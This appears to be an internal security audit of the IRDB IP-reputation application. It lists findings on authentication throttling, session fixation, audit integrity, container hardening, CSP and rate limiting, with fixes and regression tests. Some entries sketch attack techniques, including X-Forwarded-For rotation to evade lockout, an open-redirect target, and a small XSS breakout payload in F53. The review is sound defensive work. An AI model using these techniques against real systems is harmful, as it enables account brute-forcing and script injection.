Головна сторінка Огляд Довідка
Увійти
chiappa
/
irdb
дзеркало https://git.snix.ch/chiappa/irdb.git
1
0
Відгалуження 0
Файли Проблеми 0
Дерево: 3a0f2b86a4
Гілки Теги
irdb
/
doc
/
SEC_REVIEW.md

SEC_REVIEW.md 49 KB
Історія Запис

IRDB Security Review

Scope: full source tree at api/src, ui/src, api/docker, ui/docker, Dockerfiles, docker-compose.yml, compose.scheduler.yml, .env.example, Twig templates and Caddy configuration. Vendored dependencies were not audited (no composer audit / npm audit was run for this review).

Severity scale: 1 = low / informational, 2 = medium, 3 = high / critical. Severity reflects both impact and ease of exploitation in the documented deployment topology.

Each finding is referenced as F for later citation.

Findings rolled up: 5 sev-3 (5 fixed, 0 open), 27 sev-2 (4 fixed, 23 open), 42 sev-1.

Severity 3 — high / critical

F1 — Login throttle bypass via spoofed X-Forwarded-For

  • Files: ui/src/Auth/LocalLoginController.php:117-130, ui/src/Auth/LoginThrottle.php:131-137
  • Risk: extractSourceIp() reads the first hop of X-Forwarded-For without verifying the immediate peer is a configured trusted proxy. The throttle bucket is (lower(username), source_ip), so an attacker rotates the X-Forwarded-For value per request — every attempt is a fresh bucket and the 5/10/15-failure ladder never trips. Defeats the documented brute-force protection on the local-admin password. Argon2id slows it but does not prevent it. The UI is also reachable on :8080 directly per docker-compose.yml.
  • Severity: 3
  • Status: Fixed in 466d686. extractSourceIp no longer reads X-Forwarded-For; Caddy's trusted_proxies static private_ranges is the single trust boundary and PHP consumes only REMOTE_ADDR. Regression test in ui/tests/Integration/Auth/LocalLoginTest.php (testRotatingXForwardedForDoesNotEvadePerIpLockout).

F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout

  • File: ui/src/Auth/LoginThrottle.php:131-137
  • Risk: The bucket key is (username, source_ip). Even ignoring F1, there is no bucket that counts attempts against a username across IPs. An attacker on a distributed source (or a residential proxy pool) gets unlimited password attempts against the single LOCAL_ADMIN_USERNAME account because each new IP is a fresh bucket.
  • Severity: 3
  • Status: Fixed in 466d686. LoginThrottle now evaluates a second per-username bucket alongside the per-(user, ip) one with a 25 / 50 / 100 → 60 s / 300 s / 1800 s ladder; isLocked() trips on either bucket and clear() resets both on successful login. Regression tests in ui/tests/Unit/Auth/LoginThrottleTest.php (testPerUsernameBucketLocksOutAcrossDistinctIps, testPerUsernameLadderProgresses, testLockoutSecondsRemainingReturnsLargerOfBuckets) and LocalLoginTest::testRotatingRemoteAddrEventuallyHitsPerUsernameLockout.

F3 — Service token + upsertLocal mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation

  • Files: api/src/App/AppFactory.php:156-169, api/src/Application/Auth/AuthController.php:56-77, api/src/Infrastructure/Auth/UserRepository.php:119-159
  • Risk: The /api/v1/auth/* route group attaches only $tokenAuth — no RbacMiddleware, no $impersonation, no $auditContext, no $rateLimit. The controller's only check is "kind == Service". UserRepository::upsertLocal unconditionally assigns Role::Admin regardless of input. Anyone holding the service token (in env, masked-prefix-visible in /admin/config, baked into the UI image) can POST /api/v1/auth/users/upsert-local {"username":"x"} to create a new Admin user id and then impersonate it via X-Acting-User-Id on every other admin endpoint. A leaked service token is a single-step total compromise with no log trail.
  • Severity: 3
  • Status: Fixed in 8a94dff. UserRepository::upsertLocal now looks up the existing local row by is_local = 1 (not by display_name) and updates display_name + last_login_at on it; it only inserts when zero local rows exist. Migration 20260504100000_add_unique_local_user_index adds a partial unique index (WHERE is_local = 1 on SQLite; functional index over a CASE expression on MySQL) so a regression in code still fails at the DB. Regression tests in api/tests/Integration/Auth/AuthEndpointsTest.php (testRotatingUsernamesNeverCreatesAdditionalLocalAdmins, testDbLayerRejectsSecondLocalAdminInsert). The unaudited-write half of the finding (no AuditEmitter call on user creation / role grant) is tracked separately as F5.

F4 — Audit emit is non-transactional with state mutation

  • Files: api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48; controller pattern e.g. api/src/Application/Admin/ManualBlocksController.php:138-157, ReportersController.php:103-116, 198-211, PoliciesController.php:135-140, 241-246, 278-283, AllowlistController.php:126-131
  • Risk: Every admin write performs the mutation first, then calls audit->emit(...) outside a transaction. DbAuditEmitter::emit catches Throwable, logs audit_emit_failed, and returns void. Any DB error, lock timeout, JSON encoding failure, or process kill between mutation and audit insert leaves the state changed with no audit row. An attacker with admin privileges who can intentionally fail the audit insert (e.g. abusing long details_json under MySQL strict mode, or racing audit-table maintenance) mutates state without being audited. Integrity of the audit log depends entirely on a best-effort second write.
  • Severity: 3
  • Status: Fixed in 8d948ae. AuditEmitter now exposes two methods with explicit semantics: emit() (best-effort, swallows infra errors — used only by ReportController and BlocklistController, the high-volume public paths whose emit is toggleable per app_settings) and emitOrThrow() (strict, propagates). Every admin write site (ManualBlocksController, AllowlistController, ReportersController, ConsumersController, CategoriesController, PoliciesController, TokensController, AppSettingsController, MaintenanceController.purge/seedDemo, JobsAdminController.trigger, and AuthController.upsertOidc/upsertLocal) now wraps mutation + emitOrThrow() in Connection::transactional(), so any audit insert failure rolls back the originating mutation. Cache invalidations move to post-commit. DbAuditEmitter switches to JSON_THROW_ON_ERROR so payload encoding failures become typed exceptions instead of a silent false. Regression tests in api/tests/Integration/Audit/AuditRollbackTest.php drop the audit_log table to force every emit path to fail and assert the target tables (manual_blocks, reporters, allowlist, categories, users) see zero rows added.

F5 — User creation and role assignment emit no audit

  • Files: api/src/Application/Auth/AuthController.php:29-77 (upsertOidc, upsertLocal)
  • Risk: /api/v1/auth/users/upsert-oidc and upsert-local create or update users including assigning roles via OIDC group mapping or the local-admin bootstrap, and emit no AuditEmitter calls. Privilege grants and account creation — primary SOC/ISO 27001 events — are invisible in the audit log. Combined with F3, an attacker who compromises the service token can grant themselves Admin without trace.
  • Severity: 3
  • Status: Fixed in 8d948ae alongside F4. AuthController now wraps each upsert in Connection::transactional() and emits user.created (new account, source oidc or local, with role and groups context) on the bootstrap path, plus user.role_changed when a subsequent OIDC login resolves to a different role. The auth route group now attaches AuditContextMiddleware so the rows carry source IP and request id. Regression tests in api/tests/Integration/Auth/AuthEndpointsTest.php (testFirstUpsertLocalEmitsUserCreatedAudit, testRotatingUsernamesEmitsOnlyOneUserCreatedAudit, testNewOidcLoginEmitsUserCreatedAudit, testOidcRoleDriftEmitsRoleChangedAudit) and AuditRollbackTest::testUpsertLocalRollsBackWhenAuditInsertFails.

Severity 2 — medium

F6 — Throttle store is per-process in memory; lost on worker recycle

  • File: ui/src/Auth/LoginThrottle.php:38, 43-48, 92
  • Risk: Counters live only in the FrankenPHP worker process. Worker recycling on memory pressure or fixed request counts wipes counters and gives the attacker fresh attempts. Multi-worker FrankenPHP multiplies allowed attempts by N silently. No persistent (DB / Redis) backing.
  • Severity: 2
  • Status: Fixed in d119b72. State moved behind a ThrottleStore abstraction; production wires FileThrottleStore, a flock-protected JSON file under sys_get_temp_dir() (overridable via LOGIN_THROTTLE_PATH). All FrankenPHP workers in one container share the same file: counters survive worker recycle and a single counter is incremented across the worker pool. Mutations take an exclusive lock on a sibling .lock file and write through a temp file + rename, so readers always see a consistent snapshot. Stale entries (lockedUntil + 24 h < now) are GC'd opportunistically. The file lives on the container's ephemeral writable layer, so a container restart still clears it — preserving the documented operator-unlock path. Multi-replica deployments still require sticky-LB mode (SPEC's documented topology). Regression tests in ui/tests/Unit/Auth/FileThrottleStoreTest.php (testFailureRecordedOnOneInstanceIsVisibleToAnother, testClearOnOneInstanceIsVisibleToAnother, testCorruptFileIsTreatedAsEmpty, testStaleEntriesGarbageCollected, testWritesGoThroughTempPlusRename, testResetUnlinksFile) and LocalLoginTest::testFailuresArePersistedToConfiguredFilePath.

F7 — Username enumeration via response timing on local login

  • File: ui/src/Auth/LocalLoginController.php:77-78
  • Risk: password_verify only runs after usernameOk evaluates truthy, so the request takes Argon2id time (tens to hundreds of ms) on a username match versus microseconds on a miss. An unauthenticated attacker enumerates the configured LOCAL_ADMIN_USERNAME value. Mitigation: always run a dummy password_verify against a fixed hash regardless of username match.
  • Severity: 2
  • Status: Fixed in 84238e6. LocalLoginController now precomputes a dummy Argon2id hash once per worker in its constructor and routes password_verify to either the configured admin hash (when set) or the dummy hash (when unset). The verify result is ANDed with the username check and the "configured" check, so a username miss still fails closed but consumes Argon2id time. Also closes the related timing channel where an empty LOCAL_ADMIN_PASSWORD_HASH previously skipped password_verify entirely. Regression tests in ui/tests/Integration/Auth/LocalLoginTest.php (testWrongUsernameTriggersPasswordVerify, testUnconfiguredLocalPasswordHashStillRunsPasswordVerify) assert the failure path takes more than 10 ms — well above any path that would skip an Argon2id compare.

F8 — headers_sent() short-circuit silently skips session regeneration / clear

  • Files: ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107
  • Risk: Both regenerateId() and clear() are gated on !headers_sent(). If headers are sent before middleware (warning output, accidental whitespace, error rendering), login does not rotate the session id. An attacker who pre-seeded a victim's irdb_session cookie can ride that session post-login (classic session fixation). Should fail-closed instead of silently no-op'ing.
  • Severity: 2
  • Status: Fixed in f811b25. SessionManager now distinguishes a CLI/test mode (auto-detected from PHP_SAPI === 'cli', overridable via constructor) from HTTP mode. In HTTP, both regenerateId() and clear() throw \RuntimeException when headers_sent() is true, surfaced by Slim as a 500 so the operator chases the upstream output bug rather than silently leaving the pre-auth cookie valid. Under CLI (PHPUnit), a manual rotation path resets session_id() and preserves $_SESSION, matching session_regenerate_id(true) semantics for tests. The headers_sent() call is also routed through an injectable closure so unit tests can drive the HTTP fail-closed path without a real web server. Regression tests in ui/tests/Unit/Auth/SessionManagerTest.php (testRegenerateIdThrowsInHttpModeWhenHeadersSent, testClearThrowsInHttpModeWhenHeadersSent, testCliFallbackRotatesIdAndPreservesSession).

F9 — OIDC session id not regenerated before the handshake starts

  • Files: ui/src/Auth/OidcController.php:39-47, 89, ui/src/Auth/JumbojettOidcAuthenticator.php:33-94
  • Risk: state, nonce, and code_verifier are stashed in $_SESSION during /login/oidc. Regeneration only happens after a successful upsert (line 89). If an attacker can fixate a session id in a victim's browser before /login/oidc is hit (hostile network, sibling subdomain, or the F8 race), the attacker shares the same $_SESSION and can later hijack the session. Standard hardening regenerates on initiate() before redirecting to the IdP.
  • Severity: 2
  • Status: Fixed in 2a57589. OidcController::initiate now calls SessionManager::regenerateId() at the top, before delegating to the authenticator that stashes state, nonce, and the PKCE code_verifier in $_SESSION. The OIDC handshake state is therefore bound only to a freshly rotated session id; any pre-fixated cookie is invalidated at this moment. The post-callback rotation is unchanged (defeats anything carrying over). Per F8, the rotation now also fail-closes if response headers were already sent, so it cannot silently no-op. Regression test in ui/tests/Integration/Auth/OidcFlowTest.php (testInitiateRotatesSessionIdBeforeAuthenticate) captures session_id() inside a fake authenticator and asserts it differs from the pre-request id.

F10 — Open redirect via attacker-controllable next parameter

  • Files: ui/src/Auth/SessionManager.php:139-150 (setNext / consumeNext), used by ui/src/Auth/OidcController.php:98-100, ui/src/Auth/LocalLoginController.php:106-108, ui/src/Controllers/AllowlistController.php:126-128, ui/src/Controllers/ManualBlocksController.php:168-170
  • Risk: After a delete action, next from the form body is sent verbatim as Location: with no validation that the value starts with a single / (not //evil.example.com) and no scheme allowlist. An authenticated operator/admin tricked into submitting a forged form (or any reflected XSS that auto-submits with the legitimate CSRF token) gets a 303 redirect to an arbitrary host from the trusted IRDB origin — high-quality phishing pivot. The login-flow consumeNext() path is currently safe (AuthRequiredMiddleware controls the source), but setNext() itself is unrestricted.
  • Severity: 2

F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate

  • Files: api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77, api/src/Infrastructure/Auth/UserRepository.php:28-37
  • Risk: Service-token holders can impersonate any user id by setting X-Acting-User-Id. There is no allow-list, no "disabled"/"locked" check (no such column on users), and no separate audit signal. Combined with F3, a leaked service token is unconstrained Admin.
  • Severity: 2

F12 — Local-admin lookup matches on display_name without uniqueness guarantee

  • Files: api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160
  • Risk: findLocalByUsername() matches on display_name AND is_local=1, with no DB-enforced uniqueness on the pair. LIMIT 1 silently picks one row. A hostile/compromised IdP that pushes an OIDC user with the same display_name (and a later data fix flipping is_local) could be matched on local-admin login, binding the local-admin password to the wrong identity.
  • Severity: 2

F13 — Service token rotation leaves the old hash valid indefinitely

  • File: api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89
  • Risk: When the bootstrap detects a different service-kind row (rotation in progress), it inserts the new row but does not revoke the old. Both tokens remain valid. With no operator tooling for service-token revocation, rotated tokens may live forever in api_tokens. If an old token leaks (config snapshot, image layer) the attacker authenticates indefinitely.
  • Severity: 2

F14 — /api/v1/auth/* has no rate limit

  • File: api/src/App/AppFactory.php:156-169
  • Risk: The auth group has only $tokenAuth. RateLimitMiddleware is not attached. getUser/{id} allows enumeration (F17), and combined with F3 a leaked service token gets unlimited writes.
  • Severity: 2

F15 — MaintenanceController::seedDemo requires no confirmation token

  • File: api/src/Application/Admin/MaintenanceController.php:279-288
  • Risk: Asymmetric with purge which gates on confirm: "PURGE". Any actor with admin role (or a compromised service token via F3) can issue a single POST and load thousands of synthetic reports/IPs/blocks into a production database. The 409 "already_seeded" check is keyed only on a literal demo-named reporter, so after a partial purge the seed will re-fire. Also a cheap repeated-write DoS.
  • Severity: 2

F16 — Admin-role API tokens are not bound to a user_id → privilege persists after offboarding

  • Files: api/src/Application/Admin/TokensController.php:142-155, 166-177, api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67, api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59
  • Risk: When an Admin user creates an admin-kind token, the TokenRecord carries role but no userId. If the user issuing the token is later demoted/disabled/removed, the token continues to grant Admin until manually revoked. There is no UI/API to list tokens by issuer.
  • Severity: 2

F17 — GET /api/v1/auth/users/{id} enables enumeration of internal user records

  • File: api/src/Application/Auth/AuthController.php:79-104
  • Risk: A service-token holder can iterate /users/1, /users/2, ... and exfiltrate every user's email, display_name, role, is_local. No rate limit (F14), no audit (F5), no defensive sleep.
  • Severity: 2

F18 — Containers run as root (no USER directive)

  • Files: api/Dockerfile:42-43, ui/Dockerfile:46-47
  • Risk: Neither Dockerfile sets a USER. PHP/FrankenPHP/Caddy run as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy CVE gets root inside the container. No --chown on COPY. The irdb-data:/data volume is owned by root.
  • Severity: 2

F19 — No .dockerignore — host artifacts baked into images

  • Files: build context roots api/, ui/; COPY . ./ lines api/Dockerfile:31, ui/Dockerfile:37
  • Risk: No .dockerignore ships in either subproject. tests/, db/migrations/, bin/console, .phpstan.cache/, .phpunit.cache/, node_modules/ (UI), composer.lock are baked into the image. The repo-root .env is outside the build context by happenstance — any future developer who drops .env, .env.local, or a fixture into api/ or ui/ will silently bake it into the published image. Test fixtures and bin/console are also available to any future LFI / arbitrary-file-read primitive.
  • Severity: 2

F20 — Application source is writable by the process serving requests

  • Files: api/Dockerfile:36-38, ui/Dockerfile:42
  • Risk: Combined with F18, any RCE-grade bug allows the attacker to overwrite PHP source files in /app (vendor, src, public/index.php) and persist via the next request. A USER directive plus stricter perms (read-only /app, writable only /data) blocks this persistence path.
  • Severity: 2

F21 — getTraceAsString logged in production may leak plaintext credentials

  • Files: api/src/Infrastructure/Http/JsonErrorHandler.php:48, api/src/Infrastructure/Jobs/JobRunner.php:91
  • Risk: PHP's stringified backtrace inlines scalar arguments to each frame. An exception thrown from inside password_verify, a Guzzle request setter, or any function called with a token/password as an argument writes the plaintext secret into the trace. SecretScrubbingProcessor matches Argon2/bcrypt hashes and irdb_* token shapes but does not match arbitrary plaintext passwords or generic OIDC client_secret values, so password-spray and OIDC misconfig errors leak via stdout logs.
  • Severity: 2

F22 — compose.scheduler.yml runs apk add at every container start

  • File: compose.scheduler.yml:3-8
  • Risk: image: alpine:3 (no digest, no minor pin) plus apk add --no-cache curl tini at runtime means each restart pulls whatever Alpine ships that minute. A compromise of the Alpine package mirror (or typosquatting) gets root in the scheduler container, which holds INTERNAL_JOB_TOKEN and can call /internal/jobs/*. Pin the base image digest and the apk versions or build a real image.
  • Severity: 2

F23 — jumbojett/openid-connect-php ^1.x constraint pins a major with historical CVEs

  • File: ui/composer.json:19
  • Risk: The ^1.0 constraint covers a major line that has had multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2). Given this library is the sole OIDC token-validation entry point, drift here is critical. Tighten to ^1.0.2 || ^2.0 after testing and run composer audit regularly.
  • Severity: 2

F24 — UI CSP allows script-src 'unsafe-inline' 'unsafe-eval'

  • File: ui/docker/Caddyfile:33
  • Risk: 'unsafe-inline' permits inline <script> blocks AND inline event handlers (x-on:click, onclick). Any stored or reflected XSS sink elsewhere in the app executes unimpeded. The trade-off is documented (Alpine.js v3 Function() evaluator), but CSP is here a defence-in-depth string only — XSS is fully exploitable without strict CSP. Migrating to nonces or hashed scripts and packaging Alpine-with-CSP-build would close the gap.
  • Severity: 2

F25 — Trusted-proxy XFF rewrite + private_ranges may allow /internal/* bypass

  • Files: api/docker/Caddyfile:7-11, 50-62, api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35, docker-compose.yml:15-16
  • Risk: Caddy is configured trusted_proxies static private_ranges, so it honors X-Forwarded-For and rewrites REMOTE_ADDR whenever the immediate peer is in any RFC1918 range. The api container's port 8081 is published. In a deployment where another container on the same docker bridge or a misconfigured host-iptables rule reaches port 8081 from a 172.16/12 source, both the Caddyfile gate (remote_ip 127.0.0.1/32 ::1/128 ...) and the PHP InternalNetworkMiddleware see a forged source. The INTERNAL_JOB_TOKEN is still required, but the network-layer defense is bypassable on tenant-shared docker hosts.
  • Severity: 2

F26 — JsonErrorHandler can leak raw exception messages in production

  • File: api/src/Infrastructure/Http/JsonErrorHandler.php:53-82
  • Risk: The "hide details in prod" guard fires only when status ≥ 500. The HttpException branch returns [$e->getCode(), ['error' => $e->getMessage()]] for codes anywhere in 400–499 — attacker-influenced messages are returned verbatim. The catch-all branch passes $e->getMessage() into the payload and only overwrites it with 'internal error' when status ≥ 500 AND !expose. Internal exception types (DBAL, PDO, parse errors) whose getCode() happens to be in the 4xx range bypass suppression and return raw messages.
  • Severity: 2

F27 — RateLimitMiddleware is skipped when no principal is present

  • Files: api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36
  • Risk: The middleware bails out and forwards unrate-limited if $principal is missing. Anything outside the public group (admin/auth/internal/health/docs) receives no rate limiting. Auth-failed paths (401 from TokenAuthenticationMiddleware) never reach RateLimitMiddleware either — a client hammering with invalid bearer tokens incurs DB lookups (and last_used_at writes on hits) with zero backoff, pinning DB pool / connection budget.
  • Severity: 2

F28 — Rate limiter buckets are per-process, unbounded, and reset per replica

  • File: api/src/Infrastructure/Http/RateLimiter.php:23-49
  • Risk: $buckets is unbounded and never evicted (token churn balloons memory in long-lived FrankenPHP workers). Multi-replica deployments give an attacker a fresh bucket per replica — effective rate is (perSecond) * N_replicas per token behind a non-sticky LB. Idle/revoked tokens linger forever until container restart.
  • Severity: 2

F29 — /api/v1/admin/* group has no rate limit

  • File: api/src/App/AppFactory.php:188-337
  • Risk: The admin group attaches tokenAuth → impersonation → auditContext but not $rateLimit. Combined with F30 (slow searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any compromised Viewer token (Viewer is the OIDC default role) can issue unlimited heavy queries.
  • Severity: 2

F30 — IpScoreRepository::searchIps allows full-table scan via q=%X%

  • File: api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307
  • Risk: For any q value not matching /^[\da-fA-F:.]+$/, the query degrades to LIKE '%q%', forcing a full ip_scores table scan + GROUP BY ip_bin, ip_text (no index supports a non-anchored LIKE). At the SPEC's 50k-row target this is slow. Pair with min_score/max_score HAVING and the LEFT JOIN on ip_enrichment (joined whenever country or asn is supplied) and a Viewer can drive pathological execution per request. There is no statement timeout. Each request also runs a separate COUNT(*) over the same wrapped subquery, doubling cost.
  • Severity: 2

F31 — AuditController has no length cap, no max-offset cap, deep-offset scans

  • Files: api/src/Application/Admin/AuditController.php:58-101, api/src/Infrastructure/Audit/AuditRepository.php:68-129
  • Risk: action, entity_type, entity_id, subject_id are passed unfiltered. With page_size=200 and large offset, LIMIT 200 OFFSET huge causes a deep scan over audit_log. No max-offset cap. COUNT(*) runs on every paginated request. A logged-in Viewer can hit ?page=999999&page_size=200 to force scans repeatedly.
  • Severity: 2

F32 — Admin list endpoints execute N+1 enrichment lookups per page row

  • Files: api/src/Application/Admin/IpsController.php:84-86, 187-190, api/src/Application/Admin/AdminControllerSupport.php:67-77
  • Risk: IpsController::list calls enrichment->findByIpBin() and effectiveStatusFor() per row. At page_size=200, that's 400+ DB roundtrips per request. With no admin rate limit (F29), this amplifies query cost significantly. Refactor to batch-load enrichment by ip_bin set.
  • Severity: 2

Severity 1 — low / informational

F33 — OidcClaims->email is ?string but upsertOidc types it as string

  • Files: api/src/Infrastructure/Auth/UserRepository.php:65-71, ui/src/Auth/JumbojettOidcAuthenticator.php:56-61
  • Risk: Type-system finding rather than direct exploit; a TypeError at the boundary on null email. Downstream merge-by-email tools could later confuse two users since the OIDC primary key is subject but some IdPs don't release email.
  • Severity: 1

F34 — Sensitive identifiers logged at INFO/WARN/ERROR

  • Files: ui/src/Auth/LoginThrottle.php:79-90, ui/src/Auth/OidcController.php:84
  • Risk: Attempted usernames (which can include passwords typed in the wrong field), source IPs, and OIDC subjects are logged in plaintext. SIEM exports / log access by lower-trust operators amount to accidental disclosure.
  • Severity: 1

F35 — INTERNAL_JOB_TOKEN has no minimum-length enforcement at startup

  • File: api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47
  • Risk: hash_equals is correct, but a misconfigured deploy with INTERNAL_JOB_TOKEN=foo is accepted as long as it is non-empty. Network gate (InternalNetworkMiddleware) limits exposure but combined with F25 a docker-network neighbour can brute-force a weak token. Validate at startup that the token is at least 32 hex chars or refuse to boot.
  • Severity: 1

F36 — UI session role/identity is captured at login and never re-validated

  • Files: ui/src/Http/AuthRequiredMiddleware.php:27-32, ui/src/Auth/SessionManager.php:84-99
  • Risk: If an OIDC user is removed from an admin group in Entra, or a user record is deleted/disabled in the api, the existing UI session continues to operate with the stale role until expiry (8h idle / 24h absolute). No "revoke session by user_id" primitive.
  • Severity: 1

F37 — Local-admin password hash algorithm not validated at boot

  • File: ui/src/Auth/LocalLoginController.php:42, 78
  • Risk: No check that LOCAL_ADMIN_PASSWORD_HASH is Argon2id (or bcrypt cost ≥ 12). An operator who passes $2y$04$… (cost 4) or a legacy $1$… MD5-crypt string would have it accepted. Use password_get_info() and refuse to enable local-admin if the algorithm is below threshold.
  • Severity: 1

F38 — Disabled local-admin returns 404 before throttle, allowing unrestricted hammering

  • File: ui/src/Auth/LocalLoginController.php:60-62
  • Risk: When localAdminEnabled === false, the controller 404s with no rate-limit. Worker threads still serve the request — a cheap DoS lever on environments with the local path disabled.
  • Severity: 1

F39 — Token base32 encoding has trailing-bit ambiguity

  • Files: api/src/Domain/Auth/Token.php:18, 47, api/src/Domain/Auth/TokenIssuer.php:26-43
  • Risk: The encoder zero-pads the final 5-bit chunk, so the last base32 char encodes only 4 useful bits — 32 possible last characters decode to 16 distinct values modulo the unused bit. No exploit found (lookup is by SHA-256 of the raw input), but the parser should refuse base32 strings whose final character has the unused bit set.
  • Severity: 1

F40 — CSRF token never rotated on session-id regeneration

  • Files: ui/src/Http/CsrfMiddleware.php:53-60, ui/src/Auth/SessionManager.php:67-75, 77-82
  • Risk: regenerateId() rotates session_id on login but the $_SESSION['_csrf'] token carries over across the privilege boundary. A pre-auth token leaked via referer or a sub-resource remains valid post-auth for the session lifetime. Standard hardening: regenerate the CSRF token on login/logout. (clear() resets $_SESSION to [] so logout is fine.)
  • Severity: 1

F41 — Reporter / consumer audit_enabled is mass-assignable via PATCH

  • Files: api/src/Application/Admin/ReportersController.php:178-184, api/src/Application/Admin/ConsumersController.php:184-190
  • Risk: Admin-gated, but an attacker with Admin can silently disable report.received / blocklist.requested audit emission for a reporter/consumer before performing further activity, then re-enable. No special-class audit signal flags the toggle.
  • Severity: 1

F42 — UI policy proxy controllers rely entirely on API for role enforcement

  • File: ui/src/Controllers/PoliciesController.php:61-118
  • Risk: previewProxy / scoreDistributionProxy only check getUser() === null and forward to the API with the session userId as X-Acting-User-Id. Currently safe because API gates the underlying endpoint to Viewer, but if the API role drifts the UI silently allows access until an API 403 surfaces. Defense-in-depth: enforce the role expectation in the UI controller.
  • Severity: 1

F43 — /admin/ips/{ip:.+} route pattern is permissive

  • Files: api/src/App/AppFactory.php:256, ui/src/App/AppFactory.php:130, api/src/Application/Admin/IpsController.php:121-127
  • Risk: .+ matches multi-segment paths. Currently safe because IpAddress::fromString rejects non-IP strings, but any future reuse of $args['ip'] as a filename, log key, or downstream URL component inherits a path-traversal sink. Tighten to a strict IP charset regex.
  • Severity: 1

F44 — Job name not strictly regex-validated before audit emission

  • File: api/src/Application/Admin/JobsAdminController.php:90-130
  • Risk: registry->has($name) is the gate. A future change that trims/url-decodes inside has() could turn the audit-emit path into log injection or forged audit entries. Validate against ^[a-z0-9_-]+$ in the controller.
  • Severity: 1

F45 — InternalNetworkMiddleware admits the entire RFC1918 universe

  • File: api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35
  • Risk: Allowed CIDRs are 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, plus loopback. Any container reachable on the internal docker network passes the network gate. Safer: pin to a named docker-compose network or to the explicit scheduler IP.
  • Severity: 1

F46 — LIKE wildcard injection in IPs search q

  • File: api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162
  • Risk: q is bound parametrically (no SQLi) but % and _ meta-characters are not escaped. ?q=% matches every row; ?q=_____... is a quadratic backtrack vector. The IpsController validator only trim()s q; no length cap.
  • Severity: 1

F47 — Unbounded length on string filters reaching SQL

  • Files: api/src/Application/Admin/AuditController.php:58-83, api/src/Infrastructure/Audit/AuditRepository.php:81-101
  • Risk: action, entity_type, entity_id, subject_kind, subject_id are accepted as arbitrary-length strings. Bound parametrically (no SQLi) but multi-megabyte values are happily forwarded to the prepared statement, wasting RAM/CPU per request. Apply max length 128 plus an allowlist regex on *_kind fields.
  • Severity: 1

F48 — MaxMind tarball extraction has no decompressed-size cap

  • File: api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98
  • Risk: PharData::extractTo rejects .. traversal since PHP 8, so direct path-traversal is mitigated, but there is no per-entry size cap. A small .tar.gz could decompress into multi-GB MMDB and exhaust disk before MmdbVerifier sees it. Iterate $phar manually and enforce a max uncompressed size.
  • Severity: 1

F49 — DB-IP gunzip has no decompressed-size cap

  • File: api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126
  • Risk: gzdecode($compressed) allocates the full decompressed payload. A malicious or compromised DB-IP endpoint (or a TLS-trust misconfiguration) could serve a tiny gzip whose decompressed form is multi-GB, OOM-killing the api. Stream via gzopen/gzread and bail past a threshold.
  • Severity: 1

F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering

  • File: api/src/App/Container.php:279-288
  • Risk: connect_timeout/timeout are set but allow_redirects defaults to "follow up to 5", with no protocols/strict/referer constraints. A malicious upstream or DNS poisoning could 302 a download to http://169.254.169.254/... or file://. URL is a constant in the default deploy, so this is defence-in-depth. Mitigation: allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false] plus a private-IP guard.
  • Severity: 1

F51 — RoleMappingRepository placeholder generation does not enforce list shape

  • File: api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36
  • Risk: Safe today because the only caller passes a typed list, but the sprintf pattern is fragile. Add array_filter($groupIds, 'is_string') to make the contract explicit.
  • Severity: 1

F52 — Reporter / consumer / category name/reason accept control characters

  • Files: api/src/Application/Admin/ReportersController.php:69-72, ConsumersController.php:67-70, ManualBlocksController.php, AllowlistController.php, CategoriesController.php
  • Risk: NULs, newlines, ANSI escapes land in audit_log.target_label and details_json. Twig auto-escapes for display, but log-injection (\n[CRIT] fake event) is possible downstream. Strip control chars and NFC-normalise at the input boundary.
  • Severity: 1

F53 — Stored-XSS sink potential in categories/edit.twig decay_function

  • File: ui/resources/views/pages/categories/edit.twig:7-10
  • Risk: x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })". Twig's default e('html') escapes ' to &#039;. The browser HTML-decodes the attribute before Alpine evaluates it as JS, so &#039; becomes a literal ' and breaks out of the JS string. If decay_function ever stores a'); alert(1);// (API enum drift), it executes. Combined with F24 (CSP 'unsafe-inline'), live XSS. Use e('js') for content interpolated into a JS-attribute.
  • Severity: 1

F54 — CSRF middleware lacks Origin / Referer defence in depth

  • File: ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74
  • Risk: Token validation is correct (constant-time compare, 256-bit entropy). Missing layered checks. No JSON-body extraction path (the middleware reads only header or getParsedBody()); fine today, brittle for future PUT/PATCH endpoints with JSON.
  • Severity: 1

F55 — e('html_attr') in Alpine x-data JS-attribute

  • File: ui/resources/views/pages/ips/detail.twig:166-171
  • Risk: Escape-strategy mismatch — html_attr vs the JS evaluator Alpine runs the attribute through. Backticks aren't escaped, Unicode permissive. A maintainer footgun more than an exploit. Use data-foo='{{ x|json_encode|e("html_attr") }}' on a non-Alpine element and read via dataset.foo + JSON.parse (the pattern already used in dashboard.twig).
  • Severity: 1

F56 — Inline <script> blocks in many templates force CSP 'unsafe-inline'

  • Files: ui/resources/views/pages/ips/detail.twig:274-392, pages/categories/edit.twig:111-135, pages/policies/edit.twig:139-422, pages/audit/index.twig:102-131, layout.twig:9-22
